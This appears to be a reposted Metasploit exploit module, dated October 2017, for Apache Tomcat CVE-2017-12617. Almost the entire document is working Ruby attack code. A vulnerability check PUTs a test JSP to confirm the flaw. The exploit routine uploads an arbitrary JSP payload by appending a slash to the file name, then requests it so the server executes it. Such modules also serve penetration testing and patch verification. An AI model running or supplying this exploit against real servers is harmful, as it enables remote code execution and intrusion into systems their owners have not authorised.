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Tomcat JSP Upload Bypass Remote Code Execution

Posted on 12 October 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Tomcat RCE via JSP Upload Bypass',
'Description' => %q{
This module uploads a jsp payload and executes it.
},
'Author' => 'peewpw',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-12617' ],
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
],
'Privileged' => false,
'Platform' => %w{ linux win }, # others?
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Oct 03 2017',
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
Opt::RPORT(8080)
])
end

def check
testurl = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)

send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => "<% out.println("#{testcontent}");%>"
})

res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})

if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Uploading payload...")
testurl = Rex::Text::rand_text_alpha(10)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => payload.encoded
})
if res && res.code == 201
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.code == 200
print_status("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
else
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end

end

 

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